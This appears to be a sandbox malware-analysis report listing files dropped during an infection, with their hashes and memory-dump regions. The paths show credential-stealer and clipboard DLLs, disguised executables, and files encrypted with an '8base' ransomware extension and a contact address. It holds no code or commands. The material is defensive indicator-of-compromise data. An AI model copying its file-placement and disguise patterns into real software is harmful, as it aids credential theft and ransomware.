SHA256 9d163fbffc9692a3143362c51d35d5ab52d1f209d9d5e053196c79a30e6f7acf
SHA512 eb0e97119784d4f60ac5b1c499e4bdfa885243c8859d79e92e1c07a2aba3539606e5df978d8d63d7764fe898e691488a53d02fc495dc837b930cfe3d83cede2b

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\25t8h.exe.log

MD5 4a911455784f74e368a4c2c7876d76f4
SHA1 a1700a0849ffb4f26671eb76da2489946b821c34
SHA256 264098e15b5b33d425f3b76e45b7976b58f917048125041135f7e60d8151108c
SHA512 4617591400409e1930195795a55e20d5f063042bb3e9fd1955099066e507b6ac8a1e3ae54cc42418e2639149b31bf7e58cd5743670d9030a15e29f14d813815d

memory/4384-181-0x0000000074150000-0x0000000074900000-memory.dmp

memory/5064-183-0x0000000000400000-0x000000000040B000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\P9%fI]5.exe

MD5 1611ddc5ba7af4c5f4c247c178ccdbb3
SHA1 4be33b42d1def3b0fc027b72efe233b6e05007e5
SHA256 c40a4e9ac9b6cefbfdabd59a314fae01b7fcd0b91e0a7cd8b02afd105a234eb0
SHA512 6d1319e6f8db72bc50e8b77ac470ac1b42e2f34455604b651d1c50f14ad8464cf98feafb4b86f416155980aff9a353a3b6edac944cefa73ebc61b63f5718e0e5

memory/5064-187-0x0000000000400000-0x000000000040B000-memory.dmp

memory/4384-184-0x00000000054F0000-0x0000000005500000-memory.dmp

memory/3268-188-0x0000000074150000-0x0000000074900000-memory.dmp

memory/4384-182-0x0000000001420000-0x0000000001466000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe

MD5 a6ab201ae407fbe4a5da5f20dc38412b
SHA1 b3f8caf67f36730ad87031d206db91c861980615
SHA256 9d163fbffc9692a3143362c51d35d5ab52d1f209d9d5e053196c79a30e6f7acf
SHA512 eb0e97119784d4f60ac5b1c499e4bdfa885243c8859d79e92e1c07a2aba3539606e5df978d8d63d7764fe898e691488a53d02fc495dc837b930cfe3d83cede2b

C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe

MD5 a6ab201ae407fbe4a5da5f20dc38412b
SHA1 b3f8caf67f36730ad87031d206db91c861980615
SHA256 9d163fbffc9692a3143362c51d35d5ab52d1f209d9d5e053196c79a30e6f7acf
SHA512 eb0e97119784d4f60ac5b1c499e4bdfa885243c8859d79e92e1c07a2aba3539606e5df978d8d63d7764fe898e691488a53d02fc495dc837b930cfe3d83cede2b

memory/4748-195-0x0000000000400000-0x0000000000413000-memory.dmp

memory/4384-194-0x0000000074150000-0x0000000074900000-memory.dmp

memory/3620-196-0x000001AE1EDD0000-0x000001AE1EDD5000-memory.dmp

memory/3620-197-0x00007FFA57D30000-0x00007FFA57F25000-memory.dmp

memory/2784-206-0x0000000000400000-0x0000000000413000-memory.dmp

memory/2784-208-0x0000000000400000-0x0000000000413000-memory.dmp

memory/2784-210-0x0000000000400000-0x0000000000413000-memory.dmp

memory/2784-212-0x0000000000400000-0x0000000000413000-memory.dmp

memory/2784-213-0x0000000000400000-0x0000000000413000-memory.dmp

memory/2784-232-0x0000000000400000-0x0000000000413000-memory.dmp

memory/3164-228-0x0000000002E80000-0x0000000002E96000-memory.dmp

memory/2784-216-0x0000000000400000-0x0000000000413000-memory.dmp

memory/5064-331-0x0000000000400000-0x000000000040B000-memory.dmp

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppvIsvSubsystems64.dll.id[9CDE370C-3483].[[email protected]].8base

MD5 49a2c85b6276718ed3e351daae3504a3
SHA1 70809d4a962a31788c3d0c7fdd5edb7dc41f6090
SHA256 bc9dab7190f924643e3786aa93c573bf4b5a4b0374a19d3c58e84602b7296a43
SHA512 bf2dafefc22b84fef0725952e232c417b3be6ca66450317aa1f2c84ed98a8c7c8a4d0dd9c89e5433684a96f8e00b2afe96ef85a19079ae8d3add352366f12f09

memory/2784-467-0x0000000000400000-0x0000000000413000-memory.dmp

C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll

MD5 0c459e65bcc6d38574f0c0d63a87088a
SHA1 41e53d5f2b3e7ca859b842a1c7b677e0847e6d65
SHA256 871c61d5f7051d6ddcf787e92e92d9c7e36747e64ea17b8cffccac549196abc4
SHA512 be1ca1fa525dfea57bc14ba41d25fb904c8e4c1d5cb4a5981d3173143620fb8e08277c0dfc2287b792e365871cc6805034377060a84cfef81969cd3d3ba8f90d

C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll

MD5 2ac6d3fcf6913b1a1ac100407e97fccb
SHA1 809f7d4ed348951b79745074487956255d1d0a9a
SHA256 30f0f0631054f194553a9b8700f2db747cb167490201a43c0767644d77870dbe
SHA512 79ebf87dccce1a0b7f892473dfb1c0bff5908840e80bbda44235a7a568993a76b661b81db6597798ec6e978dc441dd7108583367ffdc57224e40d0bd0efe93b6

C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll

MD5 6d5040418450624fef735b49ec6bffe9
SHA1 5fff6a1a620a5c4522aead8dbd0a5a52570e8773
SHA256 dbc5ab846d6c2b4a1d0f6da31adeaa6467e8c791708bf4a52ef43adbb6b6c0d3
SHA512 bdf1d85e5f91c4994c5a68f7a1289435fd47069bc8f844d498d7dfd19b5609086e32700205d0fd7d1eb6c65bcc5fab5382de8b912f7ce9b6f7f09db43e49f0b0

C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll

MD5 2ac6d3fcf6913b1a1ac100407e97fccb
SHA1 809f7d4ed348951b79745074487956255d1d0a9a
SHA256 30f0f0631054f194553a9b8700f2db747cb167490201a43c0767644d77870dbe
SHA512 79ebf87dccce1a0b7f892473dfb1c0bff5908840e80bbda44235a7a568993a76b661b81db6597798ec6e978dc441dd7108583367ffdc57224e40d0bd0efe93b6

C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll

MD5 2ac6d3fcf6913b1a1ac100407e97fccb
SHA1 809f7d4ed348951b79745074487956255d1d0a9a
SHA256 30f0f0631054f194553a9b8700f2db747cb167490201a43c0767644d77870dbe
SHA512 79ebf87dccce1a0b7f892473dfb1c0bff5908840e80bbda44235a7a568993a76b661b81db6597798ec6e978dc441dd7108583367ffdc57224e40d0bd0efe93b6

C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll

MD5 ec41f740797d2253dc1902e71941bbdb
SHA1 407b75f07cb205fee94c4c6261641bd40c2c28e9
SHA256 47425ebf3dd905bbfea15a7667662aa6ce3d2deba4b48dfbe646ce9d06f43520
SHA512 e544348e86cee7572a6f12827368d5377d66194a006621d4414ef7e0f2050826d32967b4374dfbcdecda027011c95d2044bd7c461db23fad639f9922b92a6d33

C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll

MD5 ec41f740797d2253dc1902e71941bbdb
SHA1 407b75f07cb205fee94c4c6261641bd40c2c28e9
SHA256 47425ebf3dd905bbfea15a7667662aa6ce3d2deba4b48dfbe646ce9d06f43520
SHA512 e544348e86cee7572a6f12827368d5377d66194a006621d4414ef7e0f2050826d32967b4374dfbcdecda027011c95d2044bd7c461db23fad639f9922b92a6d33

C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll

MD5 ec41f740797d2253dc1902e71941bbdb
SHA1 407b75f07cb205fee94c4c6261641bd40c2c28e9
SHA256 47425ebf3dd905bbfea15a7667662aa6ce3d2deba4b48dfbe646ce9d06f43520
SHA512 e544348e86cee7572a6f12827368d5377d66194a006621d4414ef7e0f2050826d32967b4374dfbcdecda027011c95d2044bd7c461db23fad639f9922b92a6d33

C:\Users\Admin\AppData\Local\Temp\19B8.exe

MD5 a6ab201ae407fbe4a5da5f20dc38412b
SHA1 b3f8caf67f36730ad87031d206db91c861980615
SHA256 9d163fbffc9692a3143362c51d35d5ab52d1f209d9d5e053196c79a30e6f7acf
SHA512 eb0e97119784d4f60ac5b1c499e4bdfa885243c8859d79e92e1c07a2aba3539606e5df978d8d63d7764fe898e691488a53d02fc495dc837b930cfe3d83cede2b

C:\Users\Admin\AppData\Local\Temp\19B8.exe

MD5 a6ab201ae407fbe4a5da5f20dc38412b
SHA1 b3f8caf67f36730ad87031d206db91c861980615
SHA256 9d163fbffc9692a3143362c51d35d5ab52d1f209d9d5e053196c79a30e6f7acf
SHA512 eb0e97119784d4f60ac5b1c499e4bdfa885243c8859d79e92e1c07a2aba3539606e5df978d8d63d7764fe898e691488a53d02fc495dc837b930cfe3d83cede2b

C:\Users\Admin\AppData\Local\Temp\19B8.exe

MD5 a6ab201ae407fbe4a5da5f20dc38412b
SHA1 b3f8caf67f36730ad87031d206db91c861980615
SHA256 9d163fbffc9692a3143362c51d35d5ab52d1f209d9d5e053196c79a30e6f7acf
SHA512 eb0e97119784d4f60ac5b1c499e4bdfa885243c8859d79e92e1c07a2aba3539606e5df978d8d63d7764fe898e691488a53d02fc495dc837b930cfe3d83cede2b

memory/4900-3291-0x0000000074150000-0x0000000074900000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1B30.exe

MD5 20bb118569b859e64feaaf30227e04b8
SHA1 3fb2c608529575ad4b06770e130eb9d2d0750ed7
SHA256 c1d2e8b7b961e48a1ee4877d3f527f038697e0dfcda69b8cd470900b73e1e674
SHA512 567906d7b98058ec24c1455d5167ee13127ce6739350f1f38954c01e46f96ba0851d6c88ef49a192edb53c5f759ab8663c7ac9fcc795c35db98165d11259587c

memory/4900-3304-0x00000000059F0000-0x0000000005A36000-memory.dmp

memory/968-3318-0x0000000000820000-0x000000000089C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1B30.exe

MD5 20bb118569b859e64feaaf30227e04b8
SHA1 3fb2c608529575ad4b06770e130eb9d2d0750ed7
SHA256 c1d2e8b7b961e48a1ee4877d3f527f038697e0dfcda69b8cd470900b73e1e674
SHA512 567906d7b98058ec24c1455d5167ee13127ce6739350f1f38954c01e46f96ba0851d6c88ef49a192edb53c5f759ab8663c7ac9fcc795c35db98165d11259587c

memory/968-3339-0x0000000074150000-0x0000000074900000-memory.dmp

memory/4900-3340-0x0000000005B30000-0x0000000005B40000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\19B8.exe

MD5 a6ab201ae407fbe4a5da5f20dc38412b
SHA1 b3f8caf67f36730ad87031d206db91c861980615
SHA256 9d163fbffc9692a3143362c51d35d5ab52d1f209d9d5e053196c79a30e6f7acf
SHA512 eb0e97119784d4f60ac5b1c499e4bdfa885243c8859d79e92e1c07a2aba3539606e5df978d8d63d7764fe898e691488a53d02fc495dc837b930cfe3d83cede2b

C:\Users\Admin\AppData\Local\Temp\1F09.exe

MD5 5f0bbf0b4ce5fa0bca57f1230e660dff
SHA1 529e438c21899eff993c0871ce07aff037d7f10d
SHA256 a4c58de9ff779e2b5c28d35dde1884891ab419e909e42c5a164ea576d8348e6d
SHA512 ddede174b3aac4bbf434e1d61da8fa858b4bde11850a75b113376dccb7356f054a9fb696f498cb01c040cec33bb03d75c8c7b2787d46fc33569aeb753ee16131

memory/4600-3355-0x0000000000400000-0x0000000000413000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1F09.exe

MD5 5f0bbf0b4ce5fa0bca57f1230e660dff
SHA1 529e438c21899eff993c0871ce07aff037d7f10d
SHA256 a4c58de9ff779e2b5c28d35dde1884891ab419e909e42c5a164ea576d8348e6d
SHA512 ddede174b3aac4bbf434e1d61da8fa858b4bde11850a75b113376dccb7356f054a9fb696f498cb01c040cec33bb03d75c8c7b2787d46fc33569aeb753ee16131

memory/968-3373-0x00000000050B0000-0x0000000005142000-memory.dmp

memory/968-3416-0x0000000005150000-0x00000000051EC000-memory.dmp

memory/2516-3491-0x0000000074150000-0x0000000074900000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\210E.exe

MD5 4345b942eb187e2b867a6e9524d166e0
SHA1 1814c6a4205852069bbaaf9c8bd2809842d52548
SHA256 0b80d7aea7acb5d4bd7e6dbfabeaf5529faec78ff5b29fc525edc2c8bf7e537c
SHA512 85f5ecafcb711af6ace4ddb11ca3a8e8d2a4799ba07d258bb731d55dc36614139db760aeea6e1f1d3674bb045230ba9d247c13d895a7f3f85ea26967788a87d6

C:\Users\Admin\AppData\Local\Temp\210E.exe

MD5 4345b942eb187e2b867a6e9524d166e0
SHA1 1814c6a4205852069bbaaf9c8bd2809842d52548
SHA256 0b80d7aea7acb5d4bd7e6dbfabeaf5529faec78ff5b29fc525edc2c8bf7e537c
SHA512 85f5ecafcb711af6ace4ddb11ca3a8e8d2a4799ba07d258bb731d55dc36614139db760aeea6e1f1d3674bb045230ba9d247c13d895a7f3f85ea26967788a87d6

memory/2516-3524-0x0000000005790000-0x00000000057A0000-memory.dmp

memory/1008-3574-0x0000000000BD0000-0x0000000000BE4000-memory.dmp

memory/4900-3364-0x0000000074150000-0x0000000074900000-memory.dmp

memory/2516-3363-0x0000000000C50000-0x0000000000C64000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\2351.exe

MD5 4345b942eb187e2b867a6e9524d166e0
SHA1 1814c6a4205852069bbaaf9c8bd2809842d52548
SHA256 0b80d7aea7acb5d4bd7e6dbfabeaf5529faec78ff5b29fc525edc2c8bf7e537c
SHA512 85f5ecafcb711af6ace4ddb11ca3a8e8d2a4799ba07d258bb731d55dc36614139db760aeea6e1f1d3674bb045230ba9d247c13d895a7f3f85ea26967788a87d6

C:\Users\Admin\AppData\Local\Temp\2351.exe

MD5 4345b942eb187e2b867a6e9524d166e0
SHA1 1814c6a4205852069bbaaf9c8bd2809842d52548
SHA256 0b80d7aea7acb5d4bd7e6dbfabeaf5529faec78ff5b29fc525edc2c8bf7e537c
SHA512 85f5ecafcb711af6ace4ddb11ca3a8e8d2a4799ba07d258bb731d55dc36614139db760aeea6e1f1d3674bb045230ba9d247c13d895a7f3f85ea26967788a87d6

C:\Users\Admin\AppData\Local\Temp\2A76.exe

MD5 400261992d812b24ecd3bfe79700443c
SHA1 f4f0d341cc860f046b2713939c70da32944f7eda
SHA256 222a5af34881bb68ffc370491a0f8d67b550cd368c49927715946365bbe8038f
SHA512 ed25f5d636658f629625614a95d4bc7a999b10cb2689c38159afa5ff24afd5136119500d00ebe83d880702f9b8e560fb570d92199f56e865eccca9695b8582f9

C:\Users\Admin\AppData\Local\Temp\2A76.exe

MD5 400261992d812b24ecd3bfe79700443c
SHA1 f4f0d341cc860f046b2713939c70da32944f7eda
SHA256 222a5af34881bb68ffc370491a0f8d67b550cd368c49927715946365bbe8038f
SHA512 ed25f5d636658f629625614a95d4bc7a999b10cb2689c38159afa5ff24afd5136119500d00ebe83d880702f9b8e560fb570d92199f56e865eccca9695b8582f9

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\x00o19f5.default-release\cookies.sqlite.id[9CDE370C-3483].[[email protected]].8base

MD5 452c9fb457dfae7d5e24b5e3d0878012
SHA1 1966db7f6b685fe90ab3f9ed86bc4b2b2ed3e963
SHA256 355471477c4f94d6a062610eba9d625adb2083dab420f4664738f932538e5daf
SHA512 a2ca79db461917a5f57bc0438eca097f299619683cca616fc876bbac338905b475d612eb4ca28d705dcdb6c579970dee33ac015a396d2abd82efa165c2e45782

C:\Users\Admin\AppData\Local\Temp\Ynigope.exe

MD5 695069cac77763a345f1d32305a8c7ce
SHA1 509b592b750bd4f33392b3090494ea96ea966b4c
SHA256 514f00e1db1e1c5e797369e4e422b531e6d9ea2fbeb594cc33f571718037773e
SHA512 7cb60c8d9c6d3ed80e0c6bc902f8ea9243b29a945132c6a648f98ccac07674193c522679dc03fb8708262af000d0da6bf06a7c5e0a76b3946306e475ec3f9dd0

C:\Users\Admin\AppData\Local\Temp\Ynigope.exe

MD5 695069cac77763a345f1d32305a8c7ce
SHA1 509b592b750bd4f33392b3090494ea96ea966b4c
SHA256 514f00e1db1e1c5e797369e4e422b531e6d9ea2fbeb594cc33f571718037773e
SHA512 7cb60c8d9c6d3ed80e0c6bc902f8ea9243b29a945132c6a648f98ccac07674193c522679dc03fb8708262af000d0da6bf06a7c5e0a76b3946306e475ec3f9dd0

C:\Users\Admin\AppData\Local\Temp\Ynigope.exe

MD5 695069cac77763a345f1d32305a8c7ce
SHA1 509b592b750bd4f33392b3090494ea96ea966b4c
SHA256 514f00e1db1e1c5e797369e4e422b531e6d9ea2fbeb594cc33f571718037773e
SHA512 7cb60c8d9c6d3ed80e0c6bc902f8ea9243b29a945132c6a648f98ccac07674193c522679dc03fb8708262af000d0da6bf06a7c5e0a76b3946306e475ec3f9dd0

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\aspnet_compiler.exe.log

MD5 c0aed85f01118e3d67e3b2a514a7a36b
SHA1 773e349d3ccadf77c7025d0450a337c538869f14
SHA256 1c144975fd84bd986810e9067c6381939683de5e00223dad95bb7fd85e157d62
SHA512 09027ddc074a09edc7da397af8369cf2bbf8c1c68f0ecac02151ea595a2e9499775abaa40e9b51fb96a9895a4901bd29daf7b83e93cc1f1f9ac64c39c999277d

C:\Users\Admin\AppData\Local\Temp\1B30.exe

MD5 20bb118569b859e64feaaf30227e04b8
SHA1 3fb2c608529575ad4b06770e130eb9d2d0750ed7
SHA256 c1d2e8b7b961e48a1ee4877d3f527f038697e0dfcda69b8cd470900b73e1e674
SHA512 567906d7b98058ec24c1455d5167ee13127ce6739350f1f38954c01e46f96ba0851d6c88ef49a192edb53c5f759ab8663c7ac9fcc795c35db98165d11259587c

C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

MD5 d1ce628a81ab779f1e8f7bf7df1bb32c
SHA1 011c90c704bb4782001d6e6ce1c647bf2bb17e01
SHA256 2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71
SHA512 de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

MD5 d1ce628a81ab779f1e8f7bf7df1bb32c
SHA1 011c90c704bb4782001d6e6ce1c647bf2bb17e01
SHA256 2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71
SHA512 de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

MD5 d1ce628a81ab779f1e8f7bf7df1bb32c
SHA1 011c90c704bb4782001d6e6ce1c647bf2bb17e01
SHA256 2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71
SHA512 de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f